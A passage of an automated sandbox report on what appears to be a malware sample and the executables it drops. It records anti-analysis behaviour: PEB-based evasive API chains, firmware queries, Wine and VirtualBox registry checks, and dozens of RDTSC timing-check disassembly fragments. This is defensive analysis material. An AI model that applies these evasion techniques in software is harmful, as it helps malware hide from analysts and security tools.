Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, Sleep			graph_6-37458
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Evasive API call chain: GetPEB, DecisionNodes, ExitProcess			graph_1-9709

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	System information queried: FirmwareTableInformation
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1004533001\44e053de15.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\DocumentsBAEBGHCFCA.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\DocumentsBAEBGHCFCA.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1004534001\932a9eb371.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1004536001\803fbc23e3.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF6E84 second address: DF6EC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FBA3CEC1176h 0x0000000a pushad 0x0000000b popad 0x0000000c popad 0x0000000d pushad 0x0000000e jmp 00007FBA3CEC117Eh 0x00000013 push eax 0x00000014 pop eax 0x00000015 jmp 00007FBA3CEC117Bh 0x0000001a popad 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FBA3CEC117Ch 0x00000023 push ebx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF6EC0 second address: DF6EC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF6436 second address: DF643F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF643F second address: DF6443 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF6443 second address: DF6474 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FBA3CEC1176h 0x00000008 jmp 00007FBA3CEC117Ah 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FBA3CEC1189h 0x00000016 pushad 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF672D second address: DF674C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007FBA3CEC18A5h 0x0000000a push ebx 0x0000000b push edi 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF8264 second address: DF827A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FBA3CEC117Dh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF827A second address: DF8284 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FBA3CEC1896h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF8284 second address: DF830E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBA3CEC1186h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push ebx 0x0000000f call 00007FBA3CEC1178h 0x00000014 pop ebx 0x00000015 mov dword ptr [esp+04h], ebx 0x00000019 add dword ptr [esp+04h], 00000014h 0x00000021 inc ebx 0x00000022 push ebx 0x00000023 ret 0x00000024 pop ebx 0x00000025 ret 0x00000026 cld 0x00000027 push 00000000h 0x00000029 push 00000000h 0x0000002b push ebx 0x0000002c call 00007FBA3CEC1178h 0x00000031 pop ebx 0x00000032 mov dword ptr [esp+04h], ebx 0x00000036 add dword ptr [esp+04h], 00000015h 0x0000003e inc ebx 0x0000003f push ebx 0x00000040 ret 0x00000041 pop ebx 0x00000042 ret 0x00000043 mov si, 9C59h 0x00000047 jnl 00007FBA3CEC1176h 0x0000004d call 00007FBA3CEC1179h 0x00000052 jmp 00007FBA3CEC1188h 0x00000057 push eax 0x00000058 push edi 0x00000059 push eax 0x0000005a push edx 0x0000005b pushad 0x0000005c popad 0x0000005d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF830E second address: DF8360 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FBA3CEC1896h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f pushad 0x00000010 je 00007FBA3CEC18A2h 0x00000016 jmp 00007FBA3CEC189Ch 0x0000001b jno 00007FBA3CEC189Ch 0x00000021 popad 0x00000022 mov eax, dword ptr [eax] 0x00000024 pushad 0x00000025 pushad 0x00000026 jmp 00007FBA3CEC18A8h 0x0000002b pushad 0x0000002c popad 0x0000002d popad 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF8360 second address: DF8364 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF8364 second address: DF8375 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF8375 second address: DF83FB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBA3CEC117Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a mov dx, C597h 0x0000000e push 00000003h 0x00000010 push 00000000h 0x00000012 push edx 0x00000013 call 00007FBA3CEC1178h 0x00000018 pop edx 0x00000019 mov dword ptr [esp+04h], edx 0x0000001d add dword ptr [esp+04h], 0000001Ah 0x00000025 inc edx 0x00000026 push edx 0x00000027 ret 0x00000028 pop edx 0x00000029 ret 0x0000002a push 00000000h 0x0000002c mov di, cx 0x0000002f push 00000003h 0x00000031 mov cx, bx 0x00000034 push 5256A877h 0x00000039 push ecx 0x0000003a pushad 0x0000003b push edx 0x0000003c pop edx 0x0000003d pushad 0x0000003e popad 0x0000003f popad 0x00000040 pop ecx 0x00000041 add dword ptr [esp], 6DA95789h 0x00000048 mov dword ptr [ebp+122D1E9Ch], ebx 0x0000004e lea ebx, dword ptr [ebp+1244D11Dh] 0x00000054 call 00007FBA3CEC1183h 0x00000059 or ecx, dword ptr [ebp+122D377Bh] 0x0000005f pop ecx 0x00000060 xchg eax, ebx 0x00000061 jo 00007FBA3CEC1180h 0x00000067 push eax 0x00000068 push edx 0x00000069 pushad 0x0000006a popad 0x0000006b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF83FB second address: DF8415 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 jnl 00007FBA3CEC18A8h 0x0000000d pushad 0x0000000e jmp 00007FBA3CEC189Ah 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF85BE second address: DF85C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FBA3CEC1176h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF863E second address: DF86F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 jmp 00007FBA3CEC189Ch 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e mov dword ptr [ebp+122D3835h], ebx 0x00000014 push 00000000h 0x00000016 movzx esi, dx 0x00000019 mov dx, ax 0x0000001c call 00007FBA3CEC1899h 0x00000021 jmp 00007FBA3CEC18A2h 0x00000026 push eax 0x00000027 pushad 0x00000028 pushad 0x00000029 jmp 00007FBA3CEC18A8h 0x0000002e pushad 0x0000002f popad 0x00000030 popad 0x00000031 push edi 0x00000032 jmp 00007FBA3CEC189Eh 0x00000037 pop edi 0x00000038 popad 0x00000039 mov eax, dword ptr [esp+04h] 0x0000003d pushad 0x0000003e jmp 00007FBA3CEC18A5h 0x00000043 jnc 00007FBA3CEC18A7h 0x00000049 popad 0x0000004a mov eax, dword ptr [eax] 0x0000004c push eax 0x0000004d push edx 0x0000004e pushad 0x0000004f jmp 00007FBA3CEC189Dh 0x00000054 push ebx 0x00000055 pop ebx 0x00000056 popad 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF86F2 second address: DF876F instructions: 0x00000000 rdtsc 0x00000002 jns 00007FBA3CEC118Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e jmp 00007FBA3CEC1184h 0x00000013 pop eax 0x00000014 jmp 00007FBA3CEC1187h 0x00000019 push 00000003h 0x0000001b stc 0x0000001c push 00000000h 0x0000001e call 00007FBA3CEC1181h 0x00000023 mov dx, F579h 0x00000027 pop edx 0x00000028 push 00000003h 0x0000002a push ecx 0x0000002b mov si, 0B69h 0x0000002f pop edi 0x00000030 push 9AFD0FA8h 0x00000035 push eax 0x00000036 push eax 0x00000037 push edx 0x00000038 push eax 0x00000039 pop eax 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF876F second address: DF87DF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBA3CEC18A6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop eax 0x0000000a add dword ptr [esp], 2502F058h 0x00000011 jno 00007FBA3CEC189Ch 0x00000017 lea ebx, dword ptr [ebp+1244D131h] 0x0000001d push 00000000h 0x0000001f push ecx 0x00000020 call 00007FBA3CEC1898h 0x00000025 pop ecx 0x00000026 mov dword ptr [esp+04h], ecx 0x0000002a add dword ptr [esp+04h], 0000001Ah 0x00000032 inc ecx 0x00000033 push ecx 0x00000034 ret 0x00000035 pop ecx 0x00000036 ret 0x00000037 xchg eax, ebx 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007FBA3CEC18A7h 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF87DF second address: DF87E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DF87E5 second address: DF87E9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1741F second address: E1742C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnl 00007FBA3CEC1178h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1742C second address: E17438 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FBA3CEC1896h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E17438 second address: E1743C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1784C second address: E17876 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBA3CEC18A3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a js 00007FBA3CEC1898h 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 push eax 0x00000013 push edx 0x00000014 jp 00007FBA3CEC1896h 0x0000001a push ecx 0x0000001b pop ecx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E17876 second address: E1787A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E17B50 second address: E17B56 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E17B56 second address: E17B83 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBA3CEC117Ch 0x00000007 pushad 0x00000008 jns 00007FBA3CEC1176h 0x0000000e push edi 0x0000000f pop edi 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FBA3CEC117Dh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E17E49 second address: E17E4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E17E4E second address: E17E55 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E17FA2 second address: E17FA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E17FA6 second address: E17FB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007FBA3CEC1176h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E17FB2 second address: E17FB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E17FB6 second address: E17FBC instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E17FBC second address: E17FC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E17FC9 second address: E17FD3 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FBA3CEC1176h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDCD56 second address: DDCD7B instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007FBA3CEC18A5h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jns 00007FBA3CEC1896h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDCD7B second address: DDCD7F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DDCD7F second address: DDCD83 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E18831 second address: E18848 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FBA3CEC1176h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jl 00007FBA3CEC1176h 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E18848 second address: E18855 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b push esi 0x0000000c pop esi 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E189F1 second address: E189F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E18B2E second address: E18B32 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E18F4E second address: E18F53 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E18F53 second address: E18F95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop ebx 0x00000007 js 00007FBA3CEC189Ch 0x0000000d jc 00007FBA3CEC1896h 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushad 0x00000016 jmp 00007FBA3CEC18A0h 0x0000001b jmp 00007FBA3CEC18A8h 0x00000020 push eax 0x00000021 push edx 0x00000022 push esi 0x00000023 pop esi 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1CC6C second address: E1CCA6 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FBA3CEC1186h 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f jmp 00007FBA3CEC1189h 0x00000014 pop ecx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1CCA6 second address: E1CCAB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1C1B3 second address: E1C1DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 pushad 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b je 00007FBA3CEC1176h 0x00000011 popad 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007FBA3CEC1183h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1D34B second address: E1D361 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBA3CEC18A1h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E1D361 second address: E1D36B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FBA3CEC1176h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEDA60 second address: DEDA65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEDA65 second address: DEDA6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 js 00007FBA3CEC1176h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: DEDA6F second address: DEDA73 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E24F4B second address: E24F57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FBA3CEC1176h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E24F57 second address: E24F65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FBA3CEC1896h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E244F5 second address: E244FA instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2461F second address: E24640 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBA3CEC18A8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push edi 0x0000000b pop edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E24640 second address: E24646 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E247B7 second address: E247BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E24DD2 second address: E24DD6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E24DD6 second address: E24DDE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E27543 second address: E27548 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E27548 second address: E27579 instructions: 0x00000000 rdtsc 0x00000002 je 00007FBA3CEC1898h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e pushad 0x0000000f jmp 00007FBA3CEC18A8h 0x00000014 ja 00007FBA3CEC1896h 0x0000001a popad 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2764B second address: E27667 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 mov eax, dword ptr [esp+04h] 0x00000009 jmp 00007FBA3CEC117Ch 0x0000000e mov eax, dword ptr [eax] 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E27667 second address: E2766B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: E2766B second address: E27684 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 mov dword ptr [esp+04h], eax 0x0000000b pushad 0x0000000c push eax 0x0000000d jl 00007FBA3CEC1176h 0x00000013 pop eax 0x00000014 pushad 0x00000015 push ebx 0x00000016 pop ebx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
